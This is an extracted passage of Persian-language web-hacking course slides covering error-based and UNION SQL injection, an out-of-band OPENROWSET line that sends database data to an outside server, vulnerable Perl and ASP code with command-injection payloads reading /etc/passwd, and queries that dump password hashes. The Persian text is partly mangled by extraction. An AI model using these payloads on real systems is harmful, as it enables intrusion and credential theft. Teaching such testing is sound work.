         Syntax error converting the nvarchar value]' FIELD 1 VALUE '[to a column of data type int.
   ‫استخراج دومین‬Field ‫ از اولین‬Row
         http://[site]/page.asp?id 1=or 1=convert(int,(select top 1 COLUMN-NAME-2 from TABLE-NAME-1 –((
         Syntax error converting the nvarchar value]' FIELD 2 VALUE '[to a column of data type int.
   ‫استخراج اولین‬Field ‫ از دومین‬Row
         http://[site]/page.asp?id 1=or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN-NAME-
          1 NOT in') FIELD-1-VALUE ('order by COLUMN-NAME-1 desc –((
         Syntax error converting the nvarchar value]' FIELD 1 VALUE OF 2ND ROW '[to a column of data type int.



                                                                                                                             48
                                                        ‫حمله به نرم افزارهای تحت وب‬
                                               Union ‫استخراج اطالعات از بانک اطالعاتی با استفاده از‬   
   ‫مشخص کردن تعداد پارامترها‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–
         All queries in an SQL statement containing a UNION operator must have an equal number of
          expressions in their target lists
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–
         NO Error
   ‫استخراج نام کاربر بانک اطالعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—
   ‫استخراج نام بانک اطالعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—
   ‫استخراج نسخه بانک اطالعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—
   ‫استخراج نام‬Table‫های بانک اطالعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—
   ‫استخراج نام‬Column ‫ های‬Table‫ها‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from
          DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—
   ‫استخراج اولین‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—
   ‫استخراج دومین‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1--




                                                                                                      49
                                                      ‫حمله به نرم افزارهای تحت وب‬
                    Blind SQL Injection ‫استخراج اطالعات مورد نظر در حمالت‬                        
                                 (http://www.evilsql.com/page1.html)
         (Out of band channles) ‫آشنایی با روش های غیر معمول استخراج اطالعات‬                      
                                                               MS-SQL Openrowset 
   insert into openrowset(‗SQLOLEDB‘,‗DRIVER={SQL
    Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234‘,‗select * from
    foo‘) values (@@version)
                                                                        DNS Resolve 
                                                                         HTTP GET 
    http://www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip   


                                   SQL Injection ‫اجرای دستورات سیستم عامل از طریق‬                
                                      ‫ استخراج اطالعات‬Automated ‫بررسی ابزارهای‬                   




                                                                                                 50
                                                                ‫حمله به نرم افزارهای تحت وب‬

                            OS Command Injection ‫ بررسی حمالت‬
use CGI qw(:standard escapeHTML);
print header, start_html(―‖);                                        Perl Applications 
print ―<pre>‖;
my $command = ―du -h --exclude php* /var/www/html‖;
$command= $command.param(―dir‖);
$command=`$command`;
print ―$command\n‖;
print end_html;

http://web-app/cgi-
bin/vuln.cgi?dir=/public|%20cat%/etc/passwd
<%                                                                   ASP Applications 
Set oScript = Server.CreateObject(―WSCRIPT.SHELL‖)
Set oFileSys = Server.CreateObject(―Scripting.FileSystemObject‖)
szCMD = ―type c:\inetpub\wwwroot\logs\― & Request.Form(―FileName‖)
szTempFile = ―C:\― & oFileSys.GetTempName()
Call oScript.Run (―cmd.exe /c ― & szCMD & ― > ― & szTempFile,
0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
%>

http://web-app/view.asp [Form Data  sample.log && dir c:\
                                                                                           51
                                   ‫حمله به نرم افزارهای تحت وب‬
                               ‫‪ ‬بررسی حمالت ‪(2) Command Injection‬‬
                                                  ‫‪ ‬روش های شناسایی‬
‫تزریق کاراکترهای خاص در پارامترها ، قبل از دستورات و مشاهده مستقیم نتیجه‬   ‫‪‬‬
                                               ‫‪ ‬کاراکتر های && | ;‬
                                 ‫تزریق و تشخیص بر اساس تآخیرهای زمانی‬      ‫‪‬‬
                                      ‫‪| ping –i 30 127.0.0.1 | ‬‬
                                     ‫‪| ping –n 30 127.0.0.1 | ‬‬
                                   ‫‪& ping –i 30 127.0.0.1 & ‬‬
                                  ‫‪& ping –n 30 127.0.0.1 & ‬‬
                                             ‫‪; ping 127.0.0.1 ; ‬‬
                            ‫‪%0a ping –i 30 127.0.0.1 %0a ‬‬
                                             ‫‪` ping 127.0.0.1 ` ‬‬
            ‫تزریق و تشخیص بر اساس مشاهده خروجی دستور از سایر روش ها‬        ‫‪‬‬

                                      ‫‪ ‬بررسی حمالت ‪Code Injection‬‬
                                ‫‪Dynamic Code Execution in PHP ‬‬
                                 ‫‪Dynamic Code Execution in ASP‬‬                 ‫‪‬‬
                                                 ‫‪File Inclusion‬‬                ‫‪‬‬
                                ‫)‪PHP Remote File Inclusion (RFI‬‬            ‫‪‬‬
                                       ‫)‪Local File Inclusin (LFI‬‬           ‫‪‬‬




                                                                                   ‫25‬
                                                    ‫حمله به نرم افزارهای تحت وب‬
                                         ‫بررسی حمالت ‪Path Traversal‬‬
                                 ‫)433 ‪(WAHHB Page‬‬                                     ‫‪‬‬
          ‫)573 ‪(WAHHB Page‬‬   ‫بررسی حمالت )‪Cross Site Scripting (XSS‬‬                   ‫‪‬‬
                                  ‫بررسی انواع حمالت ‪ XSS‬و تفاوت های آنها‬          ‫‪‬‬
                                                              ‫‪Reflected XSS‬‬   ‫‪‬‬
                                                                ‫‪Stored XSS‬‬    ‫‪‬‬

                                                       ‫شناسایی ضعف های ‪XSS‬‬
                                           ‫)104 ‪(WAHHB Page‬‬                       ‫‪‬‬

                                                    ‫بررسی کاربردهای حمالت ‪XSS‬‬     ‫‪‬‬
                                                  ‫سرقت ‪ Session‬کاربر‬          ‫‪‬‬
              ‫‪ Bypass‬کردن برخی محدودیت های ‪Web Application‬‬                    ‫‪‬‬
‫ارسال درخواست بجای کاربر به ‪ web application‬برای انجام عملی خاص‬               ‫‪‬‬
                      ‫بررسی سایر روش های سو استفاده )693 ‪(WAHHB Page‬‬          ‫‪‬‬

         ‫بررسی حمالت ‪Parameter Tampering/Manipulation‬‬                                 ‫‪‬‬
                         ‫بررسی حمالت ‪Forceful Browsing‬‬                                ‫‪‬‬
             ‫معرفی ابزارهای پویش و بررسی نرم افزارهای تحت وب‬                          ‫‪‬‬



                                                                                          ‫35‬
                                                         ‫حمالت علیه کلمات عبور‬
                                                        ‫‪ ‬تقسیم بندی کلی حمالت‬
                                                          ‫‪Online Attacks‬‬        ‫‪‬‬
‫تمرکز بر روی کشف نام کاربری و کلمه عبور از طریق اقدام به تعامل با سرویس‬     ‫‪‬‬
  ‫نیازمند اقدام به برقراری ارتباط با هدف بطور مستقیم برای حدس کلمات عبور‬    ‫‪‬‬
              ‫نیازمند در دسترس بودن سرویس های خاص بمنظور تعامل با آنها‬      ‫‪‬‬
  ‫قابلیت شناسایی آسان بدلیل حجم ترافیک و رویداد های تولید شده در طول حمله‬   ‫‪‬‬
     ‫سرعت بسیار پایین در مقایسه با حمالت ‪ ، Offline‬و وابسته به منابع شبکه‬   ‫‪‬‬
                               ‫عدم نیاز به قدرت پردازش باال در سمت نفوذگر‬   ‫‪‬‬
                                                          ‫‪Offline Attacks‬‬       ‫‪‬‬
      ‫تمرکز بر روی شکستن کلمات عبور رمز/کد شده که از هدف بدست آمده‬          ‫‪‬‬
                          ‫عدم نیاز به برقراری ارتباط با هدف در طول حمله‬     ‫‪‬‬
  ‫نیازمند تعامل با سرویس / سیستم تنها بمنظور استخراج کلمات عبور رمز شده‬     ‫‪‬‬
 ‫امکان شناسایی تنها در زمان استخراج کلمات عبور رمز شده )در شرایط خاص(‬       ‫‪‬‬
             ‫سرعت بسیار باال ) وابسته به روش رمزنگاری بکار برده شده (‬       ‫‪‬‬
                                 ‫نیازبه قدرت پردازش باال در سمت نفوذگر‬      ‫‪‬‬




                                                                                    ‫45‬
                                                                      ‫حمالت علیه کلمات عبور‬
                                                                             ‫‪Online Attacks‬‬         ‫‪‬‬
                                 ‫قابل پیاده سازی از طریق سرویس ها وپروتکل های مختلف‬             ‫‪‬‬
                                            ‫سرویس ها و پروتکل های دسترسی از راه دور‬
                  ‫)…,‪(Telnet,SSH,Rlogin,TS,VNC‬‬                                              ‫‪‬‬
                                                        ‫سرویس های پستی )…,‪(POP,SMTP,IMAP‬‬    ‫‪‬‬
                                      ‫سرویس های بانک اطالعاتی )…,‪(MS-SQL,MySQL,Oracle‬‬       ‫‪‬‬
                                ‫سرویس های وابسته به وب )…,‪(HTTP,Login Forms,Proxies,Socks‬‬   ‫‪‬‬
                                        ‫پروتکل های مدیریت از راه دور )…,‪(SNMP,RPC,WMI‬‬       ‫‪‬‬
‫و هر سرویس دیگری که برای دسترسی نیاز به ارسال نام کاربری و کلمه عبور داشته باشد !‬           ‫‪‬‬

                                  ‫بررسی روش ها و ابزارهای مختلف پیاده سازی حمله‬                 ‫‪‬‬

                                  ‫بررسی روش های متداول مقابله با این دسته از حمالت‬              ‫‪‬‬

                               ‫نکاتی در خصوص نام های کاربری و کلمات عبور پیشفرض‬                 ‫‪‬‬
           ‫‪Networking Devices,Database Systems,Product default‬‬                              ‫‪‬‬
    ‫‪accounts,Product Master/Hidden/Hardcoded passwords,Service‬‬
                                                     ‫‪accounts‬‬
                    ‫نکاتی در خصوص انتخاب فایل های دیکشنری و محدوده کلمات عبور‬                   ‫‪‬‬




                                                                                                        ‫55‬
                                                  ‫حمالت علیه کلمات عبور‬

                                                ‫‪Offline Attacks ‬‬
        ‫‪ ‬آشنایی با مکانیزم های ‪ Hash‬و ‪ Encoding‬کلمات عبور‬
‫‪ ‬آشنایی با برخی سرویس ها و مکانیزم های بکار برده شده توسط آنها‬
             ‫‪ ‬بررسی روش های بدست آوردن کلمات عبور رمز شده‬
           ‫‪ ‬استخراج از فایل های خاص ذخیره کلمات عبور سیستم عامل‬
                   ‫‪C:\windows\system32\config\SAM ‬‬
                           ‫‪/etc/passwd & /etc/shadow ‬‬
                 ‫‪ ‬استخراج از فایل های حاوی تنظیمات سیستم یا سرویس‬
                                         ‫‪ ‬استخراج از ترافیک شبکه‬
                                   ‫‪ ‬استخراج از بانک های اطالعاتی‬



                                                                     ‫65‬
                                                            ‫حمالت علیه کلمات عبور‬
                                                                 Offline Attacks    
                     ‫بررسی روش های بدست آوردن کلمات عبور رمز شده‬                
                                             ‫استخراج از بانک های اطالعاتی‬   
                                                             MySQL
                               select user, password from user        
 select name, password from master..sysxlogins         MS-SQL 2000    
select name,password_hash FROM sys.sql_logins          MS-SQL 2005    
   select username, password from DBA_USERS                  Oracle   
        select name,password from SYS.USER$                  Oracle   
     select usename, passwd FROM pg_shadow              PortageSQL    
                          ‫بررسی تکنیک های شکستن کلمات عبور رمز شده‬              
                        Dictonary , Bruteforce , Hybrid                     
         (Pre-Computed Rainbow Tables) Cryptanalysis                        
                                   Cryptography flaws                       
                                          ‫بررسی روش های پیاده سازی حمالت‬        
                                          Single System                     
                                   Distributed Systems                      
               Free & Commercial Cryptanalysis providers                    




                                                                                        57

				
DOCUMENT INFO